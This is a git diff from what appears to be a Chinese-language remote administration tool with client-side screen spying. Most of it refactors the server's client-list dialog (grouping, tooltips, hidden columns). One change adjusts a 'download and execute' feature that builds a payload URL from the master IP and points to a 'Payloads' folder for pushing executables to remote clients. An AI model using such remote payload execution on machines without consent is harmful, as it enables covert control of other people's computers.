diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index 6d1f784..b606780 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -7,7 +7,7 @@ // 仅在 Windows 8 及更新版本上受支持 #include #include -#include +#include #pragma comment(lib, "d3d11.lib") #pragma comment(lib, "dxgi.lib") diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 36de150..2a8c348 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -20,11 +20,10 @@ #include "common/file_upload.h" #include #include "ClientDll.h" -#include +#include #pragma comment(lib, "Shlwapi.lib") -#ifndef PLUGIN #ifdef _WIN64 #ifdef _DEBUG #pragma comment(lib, "FileUpload_Libx64d.lib") @@ -38,7 +37,6 @@ #pragma comment(lib, "FileUpload_Lib.lib") #endif #endif -#endif ////////////////////////////////////////////////////////////////////// // Construction/Destruction diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index bfdaa5d..9839535 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -6,7 +6,7 @@ #include "ScreenSpy.h" #include "Common.h" #include -#include +#include ////////////////////////////////////////////////////////////////////// // Construction/Destruction diff --git a/lib/FileUpload_Lib.lib b/lib/FileUpload_Lib.lib index 41b4d5f..bafd59c 100644 Binary files a/lib/FileUpload_Lib.lib and b/lib/FileUpload_Lib.lib differ diff --git a/lib/FileUpload_Libd.lib b/lib/FileUpload_Libd.lib index 202bf27..b90f541 100644 Binary files a/lib/FileUpload_Libd.lib and b/lib/FileUpload_Libd.lib differ diff --git a/lib/FileUpload_Libx64.lib b/lib/FileUpload_Libx64.lib index 905d957..6b7a130 100644 Binary files a/lib/FileUpload_Libx64.lib and b/lib/FileUpload_Libx64.lib differ diff --git a/lib/FileUpload_Libx64d.lib b/lib/FileUpload_Libx64d.lib index 5a4876b..1b67602 100644 Binary files a/lib/FileUpload_Libx64d.lib and b/lib/FileUpload_Libx64d.lib differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 06aeef2..c2b67cf 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index d542bb4..01c845f 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2886,7 +2886,8 @@ LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { - auto host = FindHost(ctx); + auto clientID = ctx->GetClientID(); + auto host = FindHost(clientID); if (!host) { // TODO: 不要简单地主动关闭连接 ctx->CancelIO(); @@ -2902,7 +2903,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac); if (authorized) { - Mprintf("%s HMAC 校验成功: %lld\n", hb.Passcode, hb.PwdHmac); + Mprintf("%s HMAC 校验成功: %llu\n", hb.Passcode, hb.PwdHmac); m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE); std::string tip = std::string(hb.Passcode) + " 授权成功: "; tip += std::to_string(hb.PwdHmac) + "[" + std::string(ctx->GetClientData(ONLINELIST_IP)) + "]"; @@ -2917,10 +2918,9 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) CLock L(m_cs); int n = m_CList_Online.GetItemCount(); - context* cur = (context*)ctx; for (int i = 0; i < n; ++i) { context* id = (context*)m_CList_Online.GetItemData(i); - if (cur->IsEqual(id)) { + if (clientID == id->GetClientID()) { m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd); if (hb.Ping > 0) m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); @@ -2930,17 +2930,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) } } -context* CMy2015RemoteDlg::FindHost(context* ctx) -{ - CLock L(m_cs); - for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { - if (ctx->IsEqual(*i)) { - return ctx; - } - } - return NULL; -} - +// 根据套接字端口寻找对应的在线主机, 返回在线主机 context context* CMy2015RemoteDlg::FindHost(int port) { CLock L(m_cs); @@ -2952,6 +2942,7 @@ context* CMy2015RemoteDlg::FindHost(int port) return NULL; } +// 根据ID寻找对应的在线主机, 返回在线主机 context context* CMy2015RemoteDlg::FindHost(uint64_t id) { CLock L(m_cs); @@ -3024,7 +3015,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) if (dlg) { if (GetRemoteWindow(dlg)) return dlg->UpdateContext(ContextObject); - Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID); + Mprintf("收到远程桌面打开消息, 对话框已经销毁: %llu\n", dlgID); } return OpenDialog(wParam, lParam); } @@ -4282,7 +4273,9 @@ void CMy2015RemoteDlg::OnExecuteDownload() { CInputDialog dlg(this); dlg.Init("下载执行", "远程下载地址:"); - dlg.m_str = "https://127.0.0.1/example.exe"; + auto ip = THIS_CFG.GetStr("settings", "master", "127.0.0.1"); + dlg.m_str = BuildPayloadUrl(ip.c_str(), "example.exe"); + dlg.m_sTipInfo = "请将EXE放在\"Payloads\"目录或输入下载地址。"; if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) return; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 2adaecb..a34bf7d 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -158,9 +158,8 @@ public: std::string m_selectedGroup; void LoadListData(const std::string& group); void DeletePopupWindow(BOOL bForce = FALSE); - context* FindHost(context* ctx); context* FindHost(int port); - context* FindHost(uint64_t port); + context* FindHost(uint64_t id); CStatusBar m_StatusBar; //状态条 CTrueColorToolBar m_ToolBar; diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 4ba8f68..f803e83 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -6,6 +6,8 @@ LPBYTE ReadResource(int resourceId, DWORD& dwSize); std::string ReleaseEXE(int resID, const char* name); +CString BuildPayloadUrl(const char* ip, const char* name); + // CBuildDlg 对话框 class CBuildDlg : public CDialog diff --git a/server/2015Remote/CClientListDlg.cpp b/server/2015Remote/CClientListDlg.cpp index 31ff09a..0c633f8 100644 --- a/server/2015Remote/CClientListDlg.cpp +++ b/server/2015Remote/CClientListDlg.cpp @@ -4,16 +4,130 @@ #include "stdafx.h" #include "afxdialogex.h" #include "CClientListDlg.h" +#include "2015Remote.h" // CClientListDlg 对话框 +typedef struct { + LPCTSTR Name; + int Width; + float Percent; +} ColumnInfo; + +static ColumnInfo g_ColumnInfos[] = { + { _T("序号"), 40, 0.0f }, + { _T("ID"), 130, 0.0f }, + { _T("备注"), 60, 0.0f }, + { _T("计算机名称"), 105, 0.0f }, + { _T("位置"), 115, 0.0f }, + { _T("IP"), 95, 0.0f }, + { _T("系统"), 100, 0.0f }, + { _T("安装时间"), 115, 0.0f }, + { _T("最后登录"), 115, 0.0f }, + { _T("程序路径"), 150, 0.0f }, + { _T("关注"), 40, 0.0f }, + { _T("授权"), 40, 0.0f }, +}; + +static const int g_nColumnCount = _countof(g_ColumnInfos); + +// 列索引枚举(与 g_ColumnInfos 顺序一致) +enum ColumnIndex { + COL_NO = 0, // 序号 + COL_ID, // ID + COL_NOTE, // 备注 + COL_COMPUTER_NAME, // 计算机名称 + COL_LOCATION, // 位置 + COL_IP, // IP + COL_OS, // 系统 + COL_INSTALL_TIME, // 安装时间 + COL_LAST_LOGIN, // 最后登录 + COL_PROGRAM_PATH, // 程序路径 + COL_LEVEL, // 关注 + COL_AUTH, // 授权 +}; + +// ========== 分组字段配置 ========== +// 可用的分组字段枚举 +enum GroupField { + GF_IP, + GF_ComputerName, + GF_OsName, + GF_Location, + GF_ProgramPath, +}; + +// 分组字段配置:字段枚举 + 对应的列索引 +struct GroupFieldConfig { + GroupField Field; + int ColumnIndex; +}; + +// ★★★ 修改这里即可改变分组方式 ★★★ +static GroupFieldConfig g_GroupFieldConfigs[] = { + { GF_IP, COL_IP }, // 按 IP 分组 + { GF_ComputerName, COL_COMPUTER_NAME }, // 按 计算机名称 分组 + // { GF_OsName, COL_OS }, // 取消注释:增加按操作系统分组 + // { GF_Location, COL_LOCATION }, // 取消注释:增加按位置分组 +}; + +static const int g_nGroupFieldCount = _countof(g_GroupFieldConfigs); + +// 根据字段枚举获取 ClientValue 中的值 +static CString GetFieldValue(const ClientValue& val, GroupField field) +{ + switch (field) { + case GF_IP: return CString(val.IP); + case GF_ComputerName: return CString(val.ComputerName); + case GF_OsName: return CString(val.OsName); + case GF_Location: return CString(val.Location); + case GF_ProgramPath: return CString(val.ProgramPath); + default: return _T(""); + } +} + +// 比较两个客户端的指定列,返回 <0, 0, >0 +static int CompareClientByColumn(const std::pair& a, + const std::pair& b, + int nColumn) +{ + switch (nColumn) { + case COL_ID: + return (a.first < b.first) ? -1 : ((a.first > b.first) ? 1 : 0); + case COL_NOTE: + return strcmp(a.second.Note, b.second.Note); + case COL_COMPUTER_NAME: + return strcmp(a.second.ComputerName, b.second.ComputerName); + case COL_LOCATION: + return strcmp(a.second.Location, b.second.Location); + case COL_IP: + return strcmp(a.second.IP, b.second.IP); + case COL_OS: + return strcmp(a.second.OsName, b.second.OsName); + case COL_INSTALL_TIME: + return strcmp(a.second.InstallTime, b.second.InstallTime); + case COL_LAST_LOGIN: + return strcmp(a.second.LastLoginTime, b.second.LastLoginTime); + case COL_PROGRAM_PATH: + return strcmp(a.second.ProgramPath, b.second.ProgramPath); + case COL_LEVEL: + return a.second.Level - b.second.Level; + case COL_AUTH: + return a.second.Authorized - b.second.Authorized; + default: + return 0; + } +} + IMPLEMENT_DYNAMIC(CClientListDlg, CDialogEx) CClientListDlg::CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent) : g_ClientList(clients), g_pParent(pParent), CDialogEx(IDD_DIALOG_CLIENTLIST, pParent) , m_nSortColumn(-1) , m_bSortAscending(TRUE) + , m_nTipItem(-1) + , m_nTipSubItem(-1) { } @@ -30,7 +144,9 @@ void CClientListDlg::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CClientListDlg, CDialogEx) ON_WM_SIZE() + ON_WM_CONTEXTMENU() ON_NOTIFY(LVN_COLUMNCLICK, IDC_CLIENT_LIST, &CClientListDlg::OnColumnClick) + ON_NOTIFY(NM_CLICK, IDC_CLIENT_LIST, &CClientListDlg::OnListClick) END_MESSAGE_MAP() @@ -49,17 +165,26 @@ BOOL CClientListDlg::OnInitDialog() LVS_EX_GRIDLINES // 显示网格线 ); + // 初始化ToolTip + m_ToolTip.Create(this, TTS_ALWAYSTIP | TTS_NOPREFIX); + m_ToolTip.AddTool(&m_ClientList); + m_ToolTip.SetMaxTipWidth(500); + m_ToolTip.SetDelayTime(TTDT_AUTOPOP, 10000); + m_ToolTip.Activate(TRUE); + + // 初始化列可见性(从配置加载) + m_ColumnVisible.resize(g_nColumnCount, TRUE); + LoadColumnVisibility(); + // 添加列 - m_ClientList.InsertColumn(0, _T("序号"), LVCFMT_LEFT, 50); - m_ClientList.InsertColumn(1, _T("ID"), LVCFMT_LEFT, 120); - m_ClientList.InsertColumn(2, _T("备注"), LVCFMT_LEFT, 80); - m_ClientList.InsertColumn(3, _T("位置"), LVCFMT_LEFT, 100); - m_ClientList.InsertColumn(4, _T("IP"), LVCFMT_LEFT, 120); - m_ClientList.InsertColumn(5, _T("系统"), LVCFMT_LEFT, 120); - m_ClientList.InsertColumn(6, _T("安装时间"), LVCFMT_LEFT, 130); - m_ClientList.InsertColumn(7, _T("最后登录"), LVCFMT_LEFT, 130); - m_ClientList.InsertColumn(8, _T("关注级别"), LVCFMT_LEFT, 70); - m_ClientList.InsertColumn(9, _T("已授权"), LVCFMT_LEFT, 60); + int totalWidth = 0; + for (int i = 0; i < g_nColumnCount; i++) { + totalWidth += g_ColumnInfos[i].Width; + } + for (int i = 0; i < g_nColumnCount; i++) { + g_ColumnInfos[i].Percent = (float)g_ColumnInfos[i].Width / totalWidth; + m_ClientList.InsertColumn(i, g_ColumnInfos[i].Name, LVCFMT_LEFT, g_ColumnInfos[i].Width); + } // 首次加载数据 AdjustColumnWidths(); @@ -71,16 +196,40 @@ BOOL CClientListDlg::OnInitDialog() void CClientListDlg::RefreshClientList() { m_clients = g_ClientList->GetAll(); // 保存到成员变量 + BuildGroups(); // 构建分组 - // 如果之前有排序,保持排序 - if (m_nSortColumn >= 0) { - SortByColumn(m_nSortColumn, m_bSortAscending); + m_ClientList.SetRedraw(FALSE); + DisplayClients(); + m_ClientList.SetRedraw(TRUE); + m_ClientList.Invalidate(); +} + +void CClientListDlg::BuildGroups() +{ + // 保留已有分组的展开状态 + std::map expandedStates; + for (const auto& pair : m_groups) { + expandedStates[pair.first] = pair.second.bExpanded; } - else { - m_ClientList.SetRedraw(FALSE); - DisplayClients(); - m_ClientList.SetRedraw(TRUE); - m_ClientList.Invalidate(); + + m_groups.clear(); + + // 根据配置的字段进行分组 + for (const auto& client : m_clients) { + GroupKey key; + for (int i = 0; i < g_nGroupFieldCount; i++) { + key.Values.push_back(GetFieldValue(client.second, g_GroupFieldConfigs[i].Field)); + } + + if (m_groups.find(key) == m_groups.end()) { + GroupInfo info; + info.GroupId = 0; // 显示时重新编号 + // 恢复展开状态,新分组默认收起 + auto it = expandedStates.find(key); + info.bExpanded = (it != expandedStates.end()) ? it->second : FALSE; + m_groups[key] = info; + } + m_groups[key].Clients.push_back(client); } } @@ -88,34 +237,124 @@ void CClientListDlg::DisplayClients() { m_ClientList.DeleteAllItems(); - int i = 0; - for (const auto& pair : m_clients) { - const ClientKey& key = pair.first; - const ClientValue& val = pair.second; + // 创建分组指针列表用于排序 + std::vector*> sortedGroups; + for (auto& pair : m_groups) { + sortedGroups.push_back(&pair); + } - CString strNo; - strNo.Format(_T("%d"), i + 1); // 序号从1开始 + // 如果有排序列,按第一个设备的该列值排序 + if (m_nSortColumn >= 0) { + int sortCol = m_nSortColumn; + BOOL ascending = m_bSortAscending; + std::sort(sortedGroups.begin(), sortedGroups.end(), + [sortCol, ascending](const std::pair* a, + const std::pair* b) { + // 取每个分组的第一个设备进行比较 + const auto& clientA = a->second.Clients[0]; + const auto& clientB = b->second.Clients[0]; + int result = CompareClientByColumn(clientA, clientB, sortCol); + return ascending ? (result < 0) : (result > 0); + }); + } - CString strID; - strID.Format(_T("%llu"), key); + int nRow = 0; + int nGroupIndex = 0; + for (auto* pPair : sortedGroups) { + const GroupKey& groupKey = pPair->first; + GroupInfo& groupInfo = pPair->second; + nGroupIndex++; + groupInfo.GroupId = nGroupIndex; // 按显示顺序重新编号 - CString strLevel; - strLevel.Format(_T("%d"), val.Level); + int nItem; + size_t clientCount = groupInfo.Clients.size(); - CString strAuth = val.Authorized ? _T("Y") : _T("N"); + // 只有一个设备时,直接显示设备详情 + if (clientCount == 1) { + const ClientKey& key = groupInfo.Clients[0].first; + const ClientValue& val = groupInfo.Clients[0].second; - int nItem = m_ClientList.InsertItem(i, strNo); // 第一列是序号 - m_ClientList.SetItemText(nItem, 1, strID); - m_ClientList.SetItemText(nItem, 2, val.Note); - m_ClientList.SetItemText(nItem, 3, val.Location); - m_ClientList.SetItemText(nItem, 4, val.IP); - m_ClientList.SetItemText(nItem, 5, val.OsName); - m_ClientList.SetItemText(nItem, 6, val.InstallTime); - m_ClientList.SetItemText(nItem, 7, val.LastLoginTime); - m_ClientList.SetItemText(nItem, 8, strLevel); - m_ClientList.SetItemText(nItem, 9, strAuth); - m_ClientList.SetItemData(nItem, (DWORD_PTR)key); - i++; + CString strNo; + strNo.Format(_T("%d"), groupInfo.GroupId); + + CString strID; + strID.Format(_T("%llu"), key); + + CString strLevel; + strLevel.Format(_T("%d"), val.Level); + + CString strAuth = val.Authorized ? _T("Y") : _T("N"); + + nItem = m_ClientList.InsertItem(nRow, strNo); + m_ClientList.SetItemText(nItem, COL_ID, strID); + m_ClientList.SetItemText(nItem, COL_NOTE, val.Note); + m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName)); + m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location); + m_ClientList.SetItemText(nItem, COL_IP, val.IP); + m_ClientList.SetItemText(nItem, COL_OS, val.OsName); + m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime); + m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime); + m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath)); + m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel); + m_ClientList.SetItemText(nItem, COL_AUTH, strAuth); + m_ClientList.SetItemData(nItem, (DWORD_PTR)key); + nRow++; + } + else { + // 多个设备时,显示可展开的分组行 + CString strNo; + strNo.Format(_T("%d"), groupInfo.GroupId); + + CString strCount; + strCount.Format(_T("%s (%d台设备)"), groupInfo.bExpanded ? _T("-") : _T("+"), (int)clientCount); + + nItem = m_ClientList.InsertItem(nRow, strNo); + m_ClientList.SetItemText(nItem, COL_ID, strCount); + + // 清空所有列 + for (int col = COL_NOTE; col < g_nColumnCount; col++) { + m_ClientList.SetItemText(nItem, col, _T("")); + } + // 根据配置填充分组字段到对应列 + for (int i = 0; i < g_nGroupFieldCount; i++) { + m_ClientList.SetItemText(nItem, g_GroupFieldConfigs[i].ColumnIndex, groupKey.Values[i]); + } + + // 分组行的 ItemData 使用高位标记: 0x8000000000000000 | groupId + m_ClientList.SetItemData(nItem, 0x8000000000000000ULL | groupInfo.GroupId); + nRow++; + + // 如果展开,显示组内设备 + if (groupInfo.bExpanded) { + for (const auto& client : groupInfo.Clients) { + const ClientKey& key = client.first; + const ClientValue& val = client.second; + + CString strSubNo, strID; + strID.Format(_T("%llu"), key); + + CString strLevel; + strLevel.Format(_T("%d"), val.Level); + + CString strAuth = val.Authorized ? _T("Y") : _T("N"); + + nItem = m_ClientList.InsertItem(nRow, strSubNo); + m_ClientList.SetItemText(nItem, COL_ID, strID); + m_ClientList.SetItemText(nItem, COL_NOTE, val.Note); + m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName)); + m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location); + m_ClientList.SetItemText(nItem, COL_IP, val.IP); + m_ClientList.SetItemText(nItem, COL_OS, val.OsName); + m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime); + m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime); + m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath)); + m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel); + m_ClientList.SetItemText(nItem, COL_AUTH, strAuth); + m_ClientList.SetItemData(nItem, (DWORD_PTR)key); + nRow++; + } + } + } } } @@ -125,7 +364,7 @@ void CClientListDlg::OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult) int nColumn = pNMLV->iSubItem; // 序号列不排序 - if (nColumn == 0) { + if (nColumn == COL_NO) { *pResult = 0; return; } @@ -144,48 +383,9 @@ void CClientListDlg::OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } -void CClientListDlg::SortByColumn(int nColumn, BOOL bAscending) +void CClientListDlg::SortByColumn(int /*nColumn*/, BOOL /*bAscending*/) { - std::sort(m_clients.begin(), m_clients.end(), - [nColumn, bAscending](const std::pair& a, - const std::pair& b) { - int result = 0; - - switch (nColumn) { - case 1: // ID - result = (a.first < b.first) ? -1 : ((a.first > b.first) ? 1 : 0); - break; - case 2: // 备注 - result = strcmp(a.second.Note, b.second.Note); - break; - case 3: // 位置 - result = strcmp(a.second.Location, b.second.Location); - break; - case 4: // IP - result = strcmp(a.second.IP, b.second.IP); - break; - case 5: // 系统 - result = strcmp(a.second.OsName, b.second.OsName); - break; - case 6: // 安装时间 - result = strcmp(a.second.InstallTime, b.second.InstallTime); - break; - case 7: // 最后登录 - result = strcmp(a.second.LastLoginTime, b.second.LastLoginTime); - break; - case 8: // 关注级别 - result = a.second.Level - b.second.Level; - break; - case 9: // 已授权 - result = a.second.Authorized - b.second.Authorized; - break; - default: - return false; - } - - return bAscending ? (result < 0) : (result > 0); - }); - + // 排序在 DisplayClients 中进行(使用成员变量 m_nSortColumn, m_bSortAscending) m_ClientList.SetRedraw(FALSE); DisplayClients(); m_ClientList.SetRedraw(TRUE); @@ -198,16 +398,23 @@ void CClientListDlg::AdjustColumnWidths() m_ClientList.GetClientRect(&rect); int totalWidth = rect.Width() - 20; - m_ClientList.SetColumnWidth(0, totalWidth * 5 / 100); // 序号 - m_ClientList.SetColumnWidth(1, totalWidth * 12 / 100); // ID - m_ClientList.SetColumnWidth(2, totalWidth * 10 / 100); // 备注 - m_ClientList.SetColumnWidth(3, totalWidth * 11 / 100); // 位置 - m_ClientList.SetColumnWidth(4, totalWidth * 11 / 100); // IP - m_ClientList.SetColumnWidth(5, totalWidth * 11 / 100); // 系统 - m_ClientList.SetColumnWidth(6, totalWidth * 13 / 100); // 安装时间 - m_ClientList.SetColumnWidth(7, totalWidth * 13 / 100); // 最后登录 - m_ClientList.SetColumnWidth(8, totalWidth * 7 / 100); // 关注级别 - m_ClientList.SetColumnWidth(9, totalWidth * 7 / 100); // 已授权 + // 计算可见列的总百分比 + float visiblePercent = 0.0f; + for (int i = 0; i < g_nColumnCount; i++) { + if (m_ColumnVisible[i]) { + visiblePercent += g_ColumnInfos[i].Percent; + } + } + + // 按比例分配宽度给可见列 + for (int i = 0; i < g_nColumnCount; i++) { + if (m_ColumnVisible[i]) { + int width = (visiblePercent > 0) ? (int)(totalWidth * g_ColumnInfos[i].Percent / visiblePercent) : 0; + m_ClientList.SetColumnWidth(i, width); + } else { + m_ClientList.SetColumnWidth(i, 0); // 隐藏列 + } + } } void CClientListDlg::OnSize(UINT nType, int cx, int cy) @@ -227,6 +434,93 @@ void CClientListDlg::OnSize(UINT nType, int cx, int cy) AdjustColumnWidths(); } +void CClientListDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) +{ + LPNMITEMACTIVATE pNMIA = reinterpret_cast(pNMHDR); + int nItem = pNMIA->iItem; + + if (nItem < 0) { + *pResult = 0; + return; + } + + DWORD_PTR itemData = m_ClientList.GetItemData(nItem); + + // 检查是否为分组行 (高位被设置) + if (itemData & 0x8000000000000000ULL) { + int groupId = (int)(itemData & 0x7FFFFFFFFFFFFFFFULL); + + // 查找对应的分组并切换展开状态 + for (auto& pair : m_groups) { + if (pair.second.GroupId == groupId) { + pair.second.bExpanded = !pair.second.bExpanded; + break; + } + } + + // 刷新显示 + m_ClientList.SetRedraw(FALSE); + DisplayClients(); + m_ClientList.SetRedraw(TRUE); + + // 恢复选中状态:找到刷新后的分组行并选中 + for (int i = 0; i < m_ClientList.GetItemCount(); i++) { + DWORD_PTR data = m_ClientList.GetItemData(i); + if ((data & 0x8000000000000000ULL) && + (int)(data & 0x7FFFFFFFFFFFFFFFULL) == groupId) { + m_ClientList.SetItemState(i, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED); + m_ClientList.EnsureVisible(i, FALSE); + break; + } + } + + m_ClientList.Invalidate(); + } + + *pResult = 0; +} + +BOOL CClientListDlg::PreTranslateMessage(MSG* pMsg) +{ + if (pMsg->message == WM_MOUSEMOVE && pMsg->hwnd == m_ClientList.GetSafeHwnd()) { + m_ToolTip.RelayEvent(pMsg); + + CPoint pt(pMsg->lParam); + LVHITTESTINFO hitInfo = {}; + hitInfo.pt = pt; + m_ClientList.SubItemHitTest(&hitInfo); + + int nItem = hitInfo.iItem; + int nSubItem = hitInfo.iSubItem; + + if (nItem != m_nTipItem || nSubItem != m_nTipSubItem) { + m_nTipItem = nItem; + m_nTipSubItem = nSubItem; + + if (nItem >= 0) { + CString strText = m_ClientList.GetItemText(nItem, nSubItem); + + // 判断文本是否被截断 + CClientDC dc(&m_ClientList); + CFont* pOldFont = dc.SelectObject(m_ClientList.GetFont()); + CSize textSize = dc.GetTextExtent(strText); + dc.SelectObject(pOldFont); + + int colWidth = m_ClientList.GetColumnWidth(nSubItem); + if (textSize.cx + 12 > colWidth && !strText.IsEmpty()) { + m_ToolTip.UpdateTipText(strText, &m_ClientList); + } else { + m_ToolTip.UpdateTipText(_T(""), &m_ClientList); + } + } else { + m_ToolTip.UpdateTipText(_T(""), &m_ClientList); + } + } + } + + return CDialogEx::PreTranslateMessage(pMsg); +} + void CClientListDlg::OnCancel() { DestroyWindow(); @@ -246,3 +540,103 @@ void CClientListDlg::PostNcDestroy() void CClientListDlg::OnOK() { } + +void CClientListDlg::OnContextMenu(CWnd* pWnd, CPoint pt) +{ + // 检查是否点击在表头区域 + CHeaderCtrl* pHeader = m_ClientList.GetHeaderCtrl(); + if (pHeader) { + CRect headerRect; + pHeader->GetWindowRect(&headerRect); + if (headerRect.PtInRect(pt)) { + ShowColumnContextMenu(pt); + return; + } + } + + // 非表头区域,调用默认处理 + CDialogEx::OnContextMenu(pWnd, pt); +} + +void CClientListDlg::ShowColumnContextMenu(CPoint pt) +{ + CMenu menu; + menu.CreatePopupMenu(); + + // 添加所有列到菜单 + for (int i = 0; i < g_nColumnCount; i++) { + UINT flags = MF_STRING; + if (m_ColumnVisible[i]) { + flags |= MF_CHECKED; + } + // 序号列始终显示,不允许隐藏 + if (i == COL_NO) { + flags |= MF_GRAYED; + } + menu.AppendMenu(flags, 1000 + i, g_ColumnInfos[i].Name); + } + + // 显示菜单并获取选择 + int nCmd = menu.TrackPopupMenu(TPM_RETURNCMD | TPM_LEFTALIGN | TPM_RIGHTBUTTON, pt.x, pt.y, this); + if (nCmd >= 1000 && nCmd < 1000 + g_nColumnCount) { + ToggleColumnVisibility(nCmd - 1000); + } +} + +void CClientListDlg::ToggleColumnVisibility(int nColumn) +{ + // 序号列不允许隐藏 + if (nColumn == COL_NO) { + return; + } + + // 切换可见性 + m_ColumnVisible[nColumn] = !m_ColumnVisible[nColumn]; + + // 保存到配置 + SaveColumnVisibility(); + + // 重新调整列宽 + AdjustColumnWidths(); +} + +void CClientListDlg::LoadColumnVisibility() +{ + // 格式:逗号分隔的隐藏列名,如 "备注,程序路径" + std::string strHidden = THIS_CFG.GetStr("ClientList", "HiddenColumns", ""); + if (strHidden.empty()) { + return; // 使用默认值(全部显示) + } + + // 解析隐藏的列名 + std::vector hiddenNames = StringToVector(strHidden, ','); + for (const auto& name : hiddenNames) { + // 查找列名对应的索引 + for (int i = 0; i < g_nColumnCount; i++) { + CString colName = g_ColumnInfos[i].Name; + CT2A colNameA(colName); + if (name == std::string(colNameA)) { + m_ColumnVisible[i] = FALSE; + break; + } + } + } + + // 序号列始终显示 + m_ColumnVisible[COL_NO] = TRUE; +} + +void CClientListDlg::SaveColumnVisibility() +{ + // 只保存隐藏的列名 + std::string strHidden; + for (int i = 0; i < g_nColumnCount; i++) { + if (!m_ColumnVisible[i]) { + if (!strHidden.empty()) strHidden += ","; + CString colName = g_ColumnInfos[i].Name; + CT2A colNameA(colName); + strHidden += std::string(colNameA); + } + } + THIS_CFG.SetStr("ClientList", "HiddenColumns", strHidden); +} diff --git a/server/2015Remote/CClientListDlg.h b/server/2015Remote/CClientListDlg.h index 7ee4d28..dbaf1fe 100644 --- a/server/2015Remote/CClientListDlg.h +++ b/server/2015Remote/CClientListDlg.h @@ -4,8 +4,30 @@ #include "Resource.h" #include #include +#include #include "2015RemoteDlg.h" +// 分组键:支持任意字段组合 +struct GroupKey { + std::vector Values; + + bool operator<(const GroupKey& other) const { + size_t count = (std::min)(Values.size(), other.Values.size()); + for (size_t i = 0; i < count; i++) { + int cmp = Values[i].Compare(other.Values[i]); + if (cmp != 0) return cmp < 0; + } + return Values.size() < other.Values.size(); + } +}; + +// 分组信息 +struct GroupInfo { + int GroupId; + BOOL bExpanded; + std::vector> Clients; +}; + // CClientListDlg 对话框 class CClientListDlg : public CDialogEx @@ -25,8 +47,19 @@ protected: _ClientList* g_ClientList; CMy2015RemoteDlg* g_pParent; std::vector> m_clients; // 数据副本 + std::map m_groups; // 分组数据 int m_nSortColumn; // 当前排序列 BOOL m_bSortAscending; // 是否升序 + CToolTipCtrl m_ToolTip; + int m_nTipItem; // 当前提示的行 + int m_nTipSubItem; // 当前提示的列 + std::vector m_ColumnVisible; // 各列的显示状态 + + void BuildGroups(); // 构建分组数据 + void ShowColumnContextMenu(CPoint pt); // 显示列选择菜单 + void ToggleColumnVisibility(int nColumn); // 切换列的显示/隐藏 + void LoadColumnVisibility(); // 从配置加载列可见性 + void SaveColumnVisibility(); // 保存列可见性到配置 virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 @@ -40,6 +73,9 @@ public: void SortByColumn(int nColumn, BOOL bAscending); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnContextMenu(CWnd* pWnd, CPoint pt); + virtual BOOL PreTranslateMessage(MSG* pMsg); virtual void OnCancel(); virtual void PostNcDestroy(); virtual void OnOK(); diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 1b8c00f..24f120c 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ 